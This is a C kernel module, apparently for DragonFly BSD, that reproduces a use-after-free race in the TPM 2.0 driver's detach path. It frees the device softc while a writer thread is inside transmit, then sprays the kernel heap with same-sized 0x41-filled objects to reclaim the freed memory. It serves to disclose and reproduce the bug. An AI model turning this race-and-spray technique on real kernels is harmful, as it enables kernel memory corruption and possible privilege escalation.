/*
 * DF-4929 reproduction module.
 *
 * Reuses the STOCK sys/dev/crypto/tpm/tpm20.c (verbatim #include below) so
 * that tpm20_write / tpm20_release / tpm20_discard_buffer / the discard
 * callout arming / the dev_lock protocol are the real shipped code.
 * Only the TPM MMIO transport is stubbed: fake_transmit() mimics
 * tpmcrb_transmit()'s timing (tsleep poll loop while holding dev_lock,
 * tpm_crb.c:254-260,377) and its epilogue (sc->pending_data_length = N,
 * tpm_crb.c:402).
 *
 * The "detach" sysctl performs EXACTLY what tpmcrb_detach (tpm_crb.c:230-243)
 * + newbus do on kldunload(8):
 *    tpm20_release(sc)          - no dev_lock taken, no draining
 *    kfree(sc, M_DEVBUF)           - device_set_driver() frees the softc
 *    heap spray                 - ordinary concurrent kernel allocation
 * while a writer thread is in the middle of tpm20_write() -> transmit with
 * dev_lock held exclusively.
 */
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/sysproto.h>	/* for SYSCTL_HANDLER_ARGS glue on DF */
#include "tpm20.c"		/* STOCK, verbatim */

/* same shape/size as struct tpmcrb_sc in tpm_crb.c:79-85 */
struct sim_crb_sc {
	struct tpm_sc	base;
	bus_size_t	cmd_off;
	bus_size_t	rsp_off;
	size_t		cmd_buf_size;
	size_t		rsp_buf_size;
};

static struct sim_crb_sc *gsc;
static struct sysctl_ctx_list ctx;

static int
fake_transmit(struct tpm_sc *sc, size_t length)
{
	int i;

	/*
	 * tpmcrb_transmit polls with dev_lock held (tpm_crb.c:254-260,377);
	 * mimic a few seconds of that (a real CreatePrimary polls up to 40s).
	 */
	for (i = 0; i < 100; i++) {
		tsleep(fake_transmit, 0, "uafsim", 5);	/* ~5 ticks x hz */
	}
	/* tpm_crb.c:402 epilogue */
	sc->pending_data_length = length;
	return (0);
}

/*
 * sysctl hw.uafsim.detach=1 == `kldunload tpm` racing an in-flight write.
 */
static int
uafsim_detach_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error;
	int i;
	void **spray;

	error = sysctl_handle_opaque(oidp, &v, sizeof(v), req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	kprintf("uafsim: [detach] lockstatus(dev_lock)=%d (1 == LK_EXCLUSIVE held by writer)\n",
	    lockstatus(&gsc->base.dev_lock, curthread));
	kprintf("uafsim: [detach] calling stock tpm20_release() with dev_lock HELD elsewhere\n");

	tpm20_release(&gsc->base);	/* stock: kfree(buf), lockuninit, cv_destroy, destroy_dev */

	kprintf("uafsim: [detach] tpm20_release() returned; lockuninit assert did NOT fire\n");

	/* newbus device_set_driver() frees the softc after detach */
	kfree(gsc, M_DEVBUF);
	gsc = NULL;

	/* ordinary kernel heap traffic reclaims the freed softc */
	spray = kmalloc(sizeof(void *) * 128, M_TEMP, M_WAITOK);
	for (i = 0; i < 128; i++) {
		spray[i] = kmalloc(sizeof(struct sim_crb_sc), M_DEVBUF, M_WAITOK);
		memset(spray[i], 0x41, sizeof(struct sim_crb_sc));
	}
	kprintf("uafsim: [detach] softc freed + sprayed; writer still asleep inside transmit\n");
	/* deliberately leak spray; module will die with the kernel anyway */
	kfree(spray, M_TEMP);

	return (0);
}

static int
uafsim_modevent(module_t mod, int type, void *arg)
{
	struct tpm_sc *sc;

	switch (type) {
	case MOD_LOAD:
		gsc = kmalloc(sizeof(struct sim_crb_sc), M_DEVBUF, M_WAITOK | M_ZERO);
		sc = &gsc->base;

		/* verbatim tpm20_init (tpm20.c:190-207) minus device_get_unit */
		sc->buf = kmalloc(TPM_BUFSIZE, M_TPM20, M_WAITOK);
		lockinit(&sc->dev_lock, "TPM driver lock", 0, LK_CANRECURSE);
		cv_init(&sc->buf_cv, "TPM buffer cv");
		callout_init_mp(&sc->discard_buffer_callout);
		sc->pending_data_length = 0;
		sc->sc_cdev = make_dev(&tpm20_ops, 0, UID_ROOT, GID_WHEEL,
		    0600, "uafsim0");
		sc->sc_cdev->si_drv1 = sc;
		sc->transmit = fake_transmit;

		sysctl_ctx_init(&ctx);
		SYSCTL_ADD_PROC(NULL, SYSCTL_STATIC_CHILDREN(_hw), OID_AUTO,
		    "uafsim_detach", CTLTYPE_INT | CTLFLAG_RW,
		    0, 0, uafsim_detach_sysctl, "I",
		    "perform the tpmcrb_detach race");
		kprintf("uafsim: loaded; write >=10 bytes to /dev/uafsim0 then sysctl hw.uafsim_detach=1\n");
		return (0);
	case MOD_UNLOAD:
		return (EBUSY);
	}
	return (0);
}
DEV_MODULE(uafsim, uafsim_modevent, NULL);
